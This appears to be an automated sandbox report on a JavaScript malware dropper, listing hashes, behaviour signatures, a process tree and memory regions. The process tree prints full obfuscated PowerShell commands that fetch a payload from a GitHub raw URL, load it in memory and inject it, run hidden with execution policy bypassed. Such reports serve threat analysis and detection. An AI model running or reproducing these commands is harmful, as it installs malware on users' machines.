Analysis

  • max time kernel
    121s
  • max time network
    122s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    02-10-2024 05:10

General

  • Target

    452773892199400.js

  • Size

    198KB

  • MD5

    8a4caeb85a99c4cba82bc48f3668986d

  • SHA1

    99399b238f8b594bf247e517f7af5025668575f3

  • SHA256

    6f646354fed6f9fb7769dffdb572dbb267acf3c24a0498b4561db3e90a1219c2

  • SHA512

    c0fe0630c841d89fe5386547bef7292c0c06f57329fecdfbb0397f8a969d18ef5a562dfb0ecd6c8e22d60ee38245f69b586c494329fbf55881f76ef3fb0e8503

  • SSDEEP

    6144:3cIC5cYmgSoAIHFdYHl4xO4k2WF+l1QUP/XCxJn:pC5cYmgSqdYF4xOql1QUPKxJn

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://raw.githubusercontent.com/NoDetectOn/NoDetectOn/refs/heads/main/DetahNote_J.txt

exe.dropper

https://raw.githubusercontent.com/NoDetectOn/NoDetectOn/refs/heads/main/DetahNote_J.txt

Signatures

  • Blocklisted process makes network request 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell and hide display window.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs
  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\452773892199400.js
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1704
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KAAoACcAZgBxAGkAdQAnACsAJwByAGwAIAA9ACAATAAnACsAJwBwACcAKwAnAGoAaAB0ACcAKwAnAHQAJwArACcAcAAnACsAJwBzADoALwAvAHIAYQB3AC4AZwAnACsAJwBpAHQAaAAnACsAJwB1AGIAJwArACcAdQAnACsAJwBzAGUAcgAnACsAJwBjACcAKwAnAG8AbgB0AGUAbgAnACsAJwB0AC4AYwBvAG0ALwAnACsAJwBOAG8ARAAnACsAJwBlAHQAZQBjACcAKwAnAHQATwBuAC8ATgBvAEQAZQAnACsAJwB0ACcAKwAnAGUAYwAnACsAJwB0AE8AbgAvAHIAJwArACcAZQBmAHMALwAnACsAJwBoACcAKwAnAGUAJwArACcAYQBkAHMALwAnACsAJwBtAGEAaQBuAC8ARABlAHQAJwArACcAYQBoACcAKwAnAE4AJwArACcAbwAnACsAJwB0AGUAXwAnACsAJwBKACcAKwAnAC4AdAB4AHQATABwAGoAOwAgAGYAJwArACcAcQAnACsAJwBpAGIAYQBzACcAKwAnAGUAJwArACcANgA0ACcAKwAnAEMAbwBuACcAKwAnAHQAJwArACcAZQAnACsAJwBuAHQAJwArACcAIAA9ACAAKAAnACsAJwBOAGUAdwAtAE8AYgAnACsAJwBqACcAKwAnAGUAYwAnACsAJwB0ACAAUwB5ACcAKwAnAHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkAJwArACcALgAnACsAJwBEAG8AJwArACcAdwBuAGwAbwAnACsAJwBhAGQAUwB0AHIAaQAnACsAJwBuAGcAKAAnACsAJwBmAHEAaQB1AHIAJwArACcAbAApACcAKwAnADsAJwArACcAIABmAHEAaQBiAGkAJwArACcAbgBhAHIAeQBDAG8AbgB0ACcAKwAnAGUAbgB0ACAAPQAgAFsAUwB5AHMAdABlAG0ALgAnACsAJwBDAG8AbgB2ACcAKwAnAGUAcgAnACsAJwB0ACcAKwAnAF0AJwArACcAOgA6AEYAcgBvACcAKwAnAG0AJwArACcAQgAnACsAJwBhAHMAJwArACcAZQA2ADQAJwArACcAUwB0AHIAaQAnACsAJwBuAGcAKABmAHEAaQBiAGEAcwBlACcAKwAnADYANABDAG8AbgB0AGUAbgB0ACcAKwAnACkAOwAnACsAJwAgAGYAJwArACcAcQAnACsAJwBpAGEAcwAnACsAJwBzAGUAbQBiAGwAeQAgAD0AIABbAFIAJwArACcAZQBmACcAKwAnAGwAJwArACcAZQBjAHQAaQBvAG4ALgBBAHMAcwBlACcAKwAnAG0AYgAnACsAJwBsAHkAJwArACcAXQA6ADoAJwArACcATABvAGEAZAAoAGYAcQAnACsAJwBpAGIAaQBuAGEAcgB5AEMAJwArACcAbwBuAHQAZQBuAHQAJwArACcAKQA7ACAAWwAnACsAJwBkAG4AbABpAGIALgBJAE8AJwArACcALgBIAG8AbQBlAF0AOgA6AFYAQQAnACsAJwBJACcAKwAnACgATQBoAFAAdAAnACsAJwB4ACcAKwAnAHQAJwArACcALgAnACsAJwBiACcAKwAnAGIAawBhAC8AdgBlACcAKwAnAGQALgAnACsAJwAyAHIAJwArACcALgAnACsAJwAzADkAJwArACcAYgAzACcAKwAnADQANQAzACcAKwAnADAAJwArACcAMgBhADAANwA1ACcAKwAnAGIAMQAnACsAJwBiAGMAMABkACcAKwAnADQANQBiADYAMwAyACcAKwAnAGUAYgA5AGUAZQA2ACcAKwAnADIAJwArACcALQAnACsAJwBiAHUAcAAvACcAKwAnAC8AJwArACcAOgBzAHAAdAAnACsAJwB0AGgAJwArACcATQBoAFAALAAgACcAKwAnAE0AaABQACcAKwAnAGQAZQBzACcAKwAnAGEAdABpAHYAJwArACcAYQBkACcAKwAnAG8ATQBoAFAALAAgAE0AaABQACcAKwAnAGQAZQBzAGEAJwArACcAdAAnACsAJwBpAHYAJwArACcAYQBkAG8ATQBoAFAALAAnACsAJwAgAE0AaABQAGQAJwArACcAZQBzACcAKwAnAGEAdABpACcAKwAnAHYAYQBkAG8ATQBoACcAKwAnAFAALAAgAE0AaABQACcAKwAnAEEAZABkAEkAbgBQACcAKwAnAHIAbwBjAGUAJwArACcAcwBzADMAJwArACcAMgBNACcAKwAnAGgAUAAsACcAKwAnACAATQBoAFAAZAAnACsAJwBlACcAKwAnAHMAJwArACcAYQB0AGkAdgBhAGQAJwArACcAbwBNAGgAUAAsACcAKwAnAE0AaABQACcAKwAnAE0AaAAnACsAJwBQACkAJwApAC0AYwBSAGUAUABMAGEAYwBFACAAIAAnAGYAcQBpACcALABbAEMASABhAHIAXQAzADYALQBSAGUAUABMAEEAQwBlACgAWwBDAEgAYQByAF0ANwA3ACsAWwBDAEgAYQByAF0AMQAwADQAKwBbAEMASABhAHIAXQA4ADAAKQAsAFsAQwBIAGEAcgBdADMANAAtAGMAUgBlAFAATABhAGMARQAnAEwAcABqACcALABbAEMASABhAHIAXQAzADkAKQB8AC4AIAAoACAAJABwAHMAaABPAE0ARQBbADIAMQBdACsAJABwAFMAaABPAE0AZQBbADMAMABdACsAJwBYACcAKQA=';$OWjuxD = [system.Text.encoding]::Unicode.GetString([system.Convert]::Frombase64String($Codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1384
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "(('fqiu'+'rl = L'+'p'+'jht'+'t'+'p'+'s://raw.g'+'ith'+'ub'+'u'+'ser'+'c'+'onten'+'t.com/'+'NoD'+'etec'+'tOn/NoDe'+'t'+'ec'+'tOn/r'+'efs/'+'h'+'e'+'ads/'+'main/Det'+'ah'+'N'+'o'+'te_'+'J'+'.txtLpj; f'+'q'+'ibas'+'e'+'64'+'Con'+'t'+'e'+'nt'+' = ('+'New-Ob'+'j'+'ec'+'t Sy'+'stem.Net.WebClient)'+'.'+'Do'+'wnlo'+'adStri'+'ng('+'fqiur'+'l)'+';'+' fqibi'+'naryCont'+'ent = [System.'+'Conv'+'er'+'t'+']'+'::Fro'+'m'+'B'+'as'+'e64'+'Stri'+'ng(fqibase'+'64Content'+');'+' f'+'q'+'ias'+'sembly = [R'+'ef'+'l'+'ection.Asse'+'mb'+'ly'+']::'+'Load(fq'+'ibinaryC'+'ontent'+'); ['+'dnlib.IO'+'.Home]::VA'+'I'+'(MhPt'+'x'+'t'+'.'+'b'+'bka/ve'+'d.'+'2r'+'.'+'39'+'b3'+'453'+'0'+'2a075'+'b1'+'bc0d'+'45b632'+'eb9ee6'+'2'+'-'+'bup/'+'/'+':spt'+'th'+'MhP, '+'MhP'+'des'+'ativ'+'ad'+'oMhP, MhP'+'desa'+'t'+'iv'+'adoMhP,'+' MhPd'+'es'+'ati'+'vadoMh'+'P, MhP'+'AddInP'+'roce'+'ss3'+'2M'+'hP,'+' MhPd'+'e'+'s'+'ativad'+'oMhP,'+'MhP'+'Mh'+'P)')-cRePLacE 'fqi',[CHar]36-RePLACe([CHar]77+[CHar]104+[CHar]80),[CHar]34-cRePLacE'Lpj',[CHar]39)|. ( $pshOME[21]+$pShOMe[30]+'X')"
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:856

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\V394GU175NFDSYBJ0DSE.temp

    Filesize

    7KB

    MD5

    ec5154b99311558bd9953d0cd16c3a0d

    SHA1

    c9e8c7a2da85dcdc634641d3697b45a815c74735

    SHA256

    e949eb4de5119de0a4d62e933c7a22e819c1e279d5c85f06c025cb06e4671bf3

    SHA512

    986d172fb3ddeec5afd35f7c218fc879aed45bb5e22155dab1d4f69b33e424d62a1d09f67a8f58113b92221f439af293462d0cbe7d30195ee1494fa77af7bd78

  • memory/1384-4-0x000007FEF61EE000-0x000007FEF61EF000-memory.dmp

    Filesize

    4KB

  • memory/1384-6-0x000007FEF5F30000-0x000007FEF68CD000-memory.dmp

    Filesize

    9.6MB

  • memory/1384-5-0x000000001B620000-0x000000001B902000-memory.dmp

    Filesize

    2.9MB

  • memory/1384-8-0x000007FEF5F30000-0x000007FEF68CD000-memory.dmp

    Filesize

    9.6MB

  • memory/1384-7-0x0000000002290000-0x0000000002298000-memory.dmp

    Filesize

    32KB

  • memory/1384-9-0x000007FEF5F30000-0x000007FEF68CD000-memory.dmp

    Filesize

    9.6MB

  • memory/1384-10-0x000007FEF5F30000-0x000007FEF68CD000-memory.dmp

    Filesize

    9.6MB

  • memory/1384-11-0x000007FEF5F30000-0x000007FEF68CD000-memory.dmp

    Filesize

    9.6MB

  • memory/1384-17-0x000007FEF5F30000-0x000007FEF68CD000-memory.dmp

    Filesize

    9.6MB